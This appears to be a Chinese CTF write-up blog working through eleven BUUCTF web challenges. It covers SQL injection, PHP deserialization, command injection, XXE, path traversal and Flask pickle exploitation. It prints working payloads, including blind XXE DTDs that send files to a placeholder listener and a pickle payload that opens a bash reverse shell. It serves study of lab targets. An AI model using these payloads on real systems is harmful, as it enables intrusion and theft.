BUUCTF刷题十一道(14)
文章目录
- [XNUCA2019Qualifier]EasyPHP
- [NewStarCTF 2023 公开赛道]Begin of HTTP
- virink_2019_files_share
- [NewStarCTF 2023 公开赛道]ez_sql
- [RootersCTF2019]ImgXweb
- [NewStarCTF 2023 公开赛道]Unserialize?
- [DDCTF 2019]homebrew event loop
- [羊城杯 2020]Blackcat
- [NewStarCTF 2023 公开赛道]泄漏的秘密
- [网鼎杯 2020 青龙组]filejava【未拿到flag】
- [HFCTF 2021 Final]easyflask
[XNUCA2019Qualifier]EasyPHP
<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}include_once("fl3g.php");if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nJust one chance");
?>
试了几遍,传asd.php里面写php代码不解析,按照题目这个代码逻辑来讲应该是写文件到fl3g.php中然后include_once就okk,但是正则不要小写字母和点以外的东西
要么就是内容上限制了,尝试绕过内容限制?phtml内容也不解析,我怀疑配置文件里写了只有匹配到index.php才解析为php
能不能写配置文件啊?
写.htaccess总是不成功,搜了搜解法
https://www.cnblogs.com/Article-kelp/p/14998652.html
我正在尝试的是非预期1
[NewStarCTF 2023 公开赛道]Begin of HTTP
新的新生题,最终请求包
virink_2019_files_share
我尝试了半天uploads访问不到,虽然hint说了flag在f1ag_Is_h3re,但是访问没有用,访问upload目录可以看到一个按钮
无思路,copy启动
https://blog.csdn.net/weixin_44037296/article/details/112321847
按照各位师傅的方法操作我好像没有找到uploads下面的preview界面,访问uploads无反应,是我浏览器的问题吗
我擦,浏览器响应了真够久的,转了三四分钟感觉
点Preview看看
下载下来一个很奇怪的东西,查看一下这东西链接
传参f=/etc/passwd
tc/被过滤了?
好像还有f是…/替空
还是没有flag,再次查找,谁想到的这是个目录!
OMG
[NewStarCTF 2023 公开赛道]ez_sql
测了两下有过滤,不让用一些关键词,大小写混写绕过一下
5列
显示位很多
?id=0' uNion seLect (database()),2,3,4,5 %23
数据库:ctf
?id=0' uNion seLect (taBle_name),2,3,4,5 fRom inFoRmation_schEma.taBles wHere tAble_sChema=database()%23
数据表:here_is_flag
?id=0' uNion seLect (column_name),2,3,4,5 fRom inFoRmation_schEma.columns wHere tAble_name='here_is_flag'%23
数据字段:flag
?id=0' uNion seLect (flag),2,3,4,5 fRom here_is_flag%23
查出flag
[RootersCTF2019]ImgXweb
先注册,admin和test都有了
注册个nini
1.php直接上传?
点击打开可以下载,看一下目录
目录404,查看cookie
发现有jwt
修改成admin试试,没用,要密钥
尝试crackjwt爆破无果
源码里有robots.txt,访问一下
key来了
you-will-never-guess
伪造个jwt
搞里头
打不开,
curl -X GET http://30754e24-089b-4aeb-9ae7-398d37f660c9.node5.buuoj.cn/static/128e8ea7ce4a37b7100fb40b28c01280/flag.png
[NewStarCTF 2023 公开赛道]Unserialize?
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {private $cmd;public function __destruct(){if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);}}
}@unserialize($_POST['unser']);
?>
payload:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs:11:"head /th1s*";}
[DDCTF 2019]homebrew event loop
source分析
trigger_event
def trigger_event(event):session['log'].append(event) # 记录日志if len(session['log']) > 5:session['log'] = session['log'][-5:] # 只保留最后5条if type(event) == type([]): # 如果 event 是一个列表,就顺序将其所有元素添加到 request.event_queue 中。request.event_queue += event else:request.event_queue.append(event) # 否则就单独添加到 request.event_queue 中。
get_mid_str
找到前缀,并截取前缀之后的内容
根据提供的后缀,截取后缀之前的内容
action:index;False#False
|->get_mid_str(event, ':', ';')
|-->haystack=[index]action:index;False#False
|->get_mid_str(event, action+';').split('#')
|-->haystack=[False,False]
execute_event_loop
循环监测事件并执行,监测传入的参数是不是符合`event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"这样的格式
并且判断传入的参数是handler还是function,对应的进行调用
view_handler
浏览商店,具体有多少items和diamonds由session中获取html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
index_handdler
如果选了showsource,提供一个下载server.py的方法source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&').replace('\t', ' '*4).replace(' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return html
buy_handler
商品数不能小于0,给了数量之后直接给session加上对应的物品数量,此时调用consume_point去消耗diamonds数def buy_handler(args):num_items = int(args[0])if num_items <= 0:return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
consume_point_function
检测余额够不够,够的话就减,不够就报错def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume:raise RollBackException()session['points'] -= point_to_consume
show_flag_function
让flag=args[0]元素,但是没有直接输出def show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'
get_flag_handler
如果session中物品数量>5,就会用show_flag把flag搞到arg[0]中def get_flag_handler(args):if session['num_items'] >= 5:# show_flag_function has been disabled, no worriestrigger_event('func:show_flag;' + FLAG())trigger_event('action:view;index')
发现buy_handler
是先加了item
数,然后再去执行comsume
消费的,get_flag
也是检测数量够了就给flag
所以如果buy
之后立刻执行get_flag
就可以获取到flag
而最开始的trigger_event
,如果给的event
是一个列表,就按顺序把列表中的执行顺序添加到request.event_queue
中去,这样buy->flag的顺序就是固定了,后续comsume
被调用的时候已经排在这两者后面
所以先调用trigger_event
给队列添加buy
和flag
payload:action:trigger_event;#action:buy;#5#action:get_flag;
这样处理下来
action:trigger_event;#action:buy;5#action:get_flag;
|->函数:trigger_event
|-->参数:[action:buy;5,action:get_flag]
|--->函数:buy【request中第一个】
|---->参数:5
|------>函数:get_flag【reqeust中第二个】
|------->参数:无
flag就被记录在log中了
注意url传参#进行编码不然当成锚点处理了
?action:trigger_event%23;action:buy;5%23action:get_flag;
提取session解码一下
python flask_session_cookie_manager3.py decode -c .eJyNjlFrgzAcxL_KyHMforYTBV82USarwdaZ5D_GUNNZbUwFa7um-N0rgw1G97C3g7v73V2Q3FfIfb2guwK5iNMY59QZiFqdcyoUsOgDGMhCJQ0xg0aE8lg0XS3Yzo7X8ZZbq64w5_dgZpiZ0HNa2mic3eDayNikvTFZN46QInDaIgwUOXkeGt9-2qCygeuuKcyFFtSQzHo45nSBiX7x_iAp6ICV9pTYAau-SL9BOg8d6_sltJ9bsHorbqIWUq7hEWNOk_lzmpyIXx2IH9ewNuSyyeRSl-eYPmniB87_hpEa2vf6sGl75OIZ6va1OkzSGq91dXXK.aL0rcQ.mAU3Vko0ChGmYY_P43cyAUApq1Qb'{"log":[{" b":"YWN0aW9uOnRyaWdnZXJfZXZlbnQjO2FjdGlvbjpidXk7NSNhY3Rpb246Z2V0X2ZsYWc7"},[{" b":"YWN0aW9uOmJ1eTs1"},{" b":"YWN0aW9uOmdldF9mbGFnOw=="}],[{" b":"ZnVuYzpjb25zdW1lX3BvaW50OzU="},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],{" b":"ZnVuYzpzaG93X2ZsYWc7ZmxhZ3s3NjJmZTYzZC00YWQ4LTQwODgtODNiZS1lMjVlMzcyNWIzODF9"},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],"num_items":0,"points":3}'
解码分别是
action:trigger_event#;action:buy;5#action:get_flag;
action:buy;5
action:get_flag;
func:consume_point;5
action:view;index
func:show_flag;flag{762fe63d-4ad8-4088-83be-e25e3725b381}
action:view;index
[羊城杯 2020]Blackcat
还想着点下载修改请求的资源名称,但是没用
mp3用audacity没看出什么端倪
010发现mp3末尾有代码
GBK
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('谁!竟敢踩我一只耳的尾巴!');
}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}echo exec("nc".$_POST['One-ear']);
其中hash_hmac
返回值
既然他说的这个初始的random
不知道,这里又进行了两次hash_hmac,并且String $data
部分内容由我们传入,那这里如果传入数组会返回什么呢
经过测试返回NULL值,那么接下来的
$hh=hash_hmac('sha256', $_POST['One-ear'], $clandestine);
中的key就为null
那我们就可以直接用key=null
的方式构造出 $_POST['Black-Cat-Sheriff']
了
于是payload:
Black-Cat-Sheriff=cc7bda251586bd42a094b222c6165400b6bcdce6df3d4b6c53cd95b3d763a143&White-cat-monitor[]=1&One-ear=xxxx;ls
exec只返回最后一行所以base64一下就好
这里内容不全,head一下
最终cat flag.php就行
<?php$a=NULL;
echo hash_hmac('sha256', "xxxx;cat flag.php", $a);?>
错的emm,我就说静态flag有点不对呢,环境变量看下
base64这里会看不全,所以直接env就好,应该是FLAG是最后一个变量
[NewStarCTF 2023 公开赛道]泄漏的秘密
robots.txt
flag{r0bots_1s_s0_us3ful
www.zip
_4nd_www.zip_1s_s0_d4ng3rous}
[网鼎杯 2020 青龙组]filejava【未拿到flag】
果真java?
上传的文件可以下载,有个下载地址
尝试/etc/passwd没用,路径穿越发现可以
有关键词匹配,大小写无法绕过
下载了一下fd,看看有啥
一个jar包看来是
好吧好吧好吧【分割线】好吧好吧好吧
完完全全搞错方向了呢,学习其他师傅的博客
https://blog.csdn.net/m0_61506558/article/details/128466022
原来是要读web.xml才能根据结构拉下来代码进行代码审计,我java倒是不太行
../../../../WEB-INF/web.xml
这个路径,也是一个一个../
试出来的
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"><servlet><servlet-name>DownloadServlet</servlet-name><servlet-class>cn.abc.servlet.DownloadServlet</servlet-class></servlet><servlet-mapping><servlet-name>DownloadServlet</servlet-name><url-pattern>/DownloadServlet</url-pattern></servlet-mapping><servlet><servlet-name>ListFileServlet</servlet-name><servlet-class>cn.abc.servlet.ListFileServlet</servlet-class></servlet><servlet-mapping><servlet-name>ListFileServlet</servlet-name><url-pattern>/ListFileServlet</url-pattern></servlet-mapping><servlet><servlet-name>UploadServlet</servlet-name><servlet-class>cn.abc.servlet.UploadServlet</servlet-class></servlet><servlet-mapping><servlet-name>UploadServlet</servlet-name><url-pattern>/UploadServlet</url-pattern></servlet-mapping>
</web-app>
关于java的项目结构
普通 JAR 项目(Maven 标准) Web 项目(WAR)
├─src/main/java ├─src/main/java
├─src/main/resources ├─src/main/resources
├─src/main/webapp │ ├─META-INF/persistence.xml (JPA)
│ ├─WEB-INF │ ├─static/… (js/css/img)
│ │ ├─web.xml │ └─WEB-INF
│ │ ├─lib/*.jar │ ├─web.xml
│ │ └─classes/ │ ├─lib/*.jar
│ └─index.html │ └─classes/
├─src/test/java ├─src/test/java
├─src/test/resources ├─src/test/resources
└─target └─target├─myapp.jar ├─myapp.war└─generated-sources └─myapp/ (exploded)
这个web.xml注册了三个servlet,所以我们分别去对应的路径下进行下载
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
在UploadServlet中导入了poi包,用来读取xml文件
String filename = fileItem.getName();
if (filename != null && !filename.trim().equals("")) {String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);InputStream in = fileItem.getInputStream();if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {try {Workbook wb1 = WorkbookFactory.create(in);Sheet sheet = wb1.getSheetAt(0);System.out.println(sheet.getFirstRowNum());} catch (InvalidFormatException e2) {System.err.println("poi-ooxml-3.10 has something wrong");e2.printStackTrace();}}
https://blog.csdn.net/a965527596/article/details/106177477/
只处理“文件名以 excel- 开头、扩展名为 xlsx”的 Excel 文件,并用 Apache POI 读取第一个工作表
所以新建excel-xxx.xlsx
,解压缩之后修改其中[Content_Types].xml
文件,
远程dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://x.x.x.x:xxxx/send.php?file=%file;'>">
payload
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://x.x.x.x:xxxx/send.php?file=%file;'>">
send.php
<?phpfile_put_contents("result.txt",$_GET['file']);?>
然而无事发生,上传的时候总是无响应…why?
[HFCTF 2021 Final]easyflask
/file?file=/app/source
拿到源码
#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, request, render_template, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "*******"User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET',))
def index_handler():if not session.get('u'):u = pickle.dumps(User())session['u'] = ureturn "/file?file=index.js"@app.route('/file', methods=('GET',))
def file_handler():path = request.args.get('file')path = os.path.join('static', path)if not os.path.exists(path) or os.path.isdir(path) \or '.py' in path or '.sh' in path or '..' in path or "flag" in path:return 'disallowed'with open(path, 'r') as fp:content = fp.read()return content@app.route('/admin', methods=('GET',))
def admin_handler():try:u = session.get('u')if isinstance(u, dict):u = b64decode(u.get('b'))u = pickle.loads(u)except Exception:return 'uhh?'if u.is_admin == 1:return 'welcome, admin'else:return 'who are you?'if __name__ == '__main__':app.run('0.0.0.0', port=80, debug=False)
key不知道,可以用/file?file=/proc/self/environ来读取key
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=out
PYTHON_VERSION=3.8.2
PWD=/app_=/usr/local/bin/python3
HOME=/root
LANG=C.UTF8
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
FLAG=flag_not_here
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
PYTHON_PIP_VERSION=20.0.2
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
PYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189e
KUBERNETES_SERVICE_HOST=10.240.0.1
KUBERNETES_PORT=tcp://10.240.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
OLDPWD=/app
先是一个user
User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,
})
这里应该是要成为admin吧
def index_handler():if not session.get('u'):u = pickle.dumps(User())session['u'] = ureturn "/file?file=index.js"主页负责新建User```python
path = request.args.get('file')path = os.path.join('static', path)if not os.path.exists(path) or os.path.isdir(path) \or '.py' in path or '.sh' in path or '..' in path or "flag" in path:return 'disallowed'with open(path, 'r') as fp:content = fp.read()return content
file这里的话,首先会加个前缀static目录,如果指向的是目录或者路径中有非法字符都返回disallowed
/admin这里
def admin_handler():try:u = session.get('u')if isinstance(u, dict):u = b64decode(u.get('b'))u = pickle.loads(u)except Exception:return 'uhh?'
admin这里从sessionload获取session中的u,如果u是字典,获取里面的b进行load
我后续参考了这位师傅的文章
https://blog.csdn.net/weixin_43610673/article/details/118065324
但是获取flag的脚本我是用python2跑的,python3报错了
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import pickletools
import requestsurl = "http://5a3ed6ba-e33e-4746-bfa4-6b9b7bc1d9ba.node3.buuoj.cn"def get_secret_key():target = url + "/file?file=/proc/self/environ"r = requests.get(target)key = re.findall('key=(.*?)OLDPWD',r.text)return str(key[0])secret_key = get_secret_key()
#secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"#print(secret_key)class FakeApp:secret_key = secret_keyclass User(object):def __reduce__(self):import oscmd = "cat /flag > /tmp/test1"return (os.system,(cmd,))exp = {"b":base64.b64encode(pickle.dumps(User()))
}
print(exp)fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps({'u':exp}
)
print(cookie)headers = {"Accept":"*/*","Cookie":"session={0}".format(cookie)
}req = requests.get(url+"/admin",headers=headers)req = requests.get(url+"/file?file=/tmp/test1",headers=headers)print(req.text)
'FakeApp' object has no attribute 'config'
可能版本不太对我也不想调了,python2可以直接出
然后又反过来看反弹shell,我生成的他总是报uhh,报错,自己调的时候发现执行后会报
会不会也是这位师傅说的,不能用python3生成base64的缘故?
import pickle
from base64 import b64encode
import osUser = type('User', (object,), {'uname': 'tyskill','is_admin': 0,'__repr__': lambda o: o.uname,'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/x.x.x.x/xxxxx 0>&1'",))
})
u = pickle.dumps(User())
print b64encode(u).decode()
还是没有效果…
开头看起来就有点不对的样子。。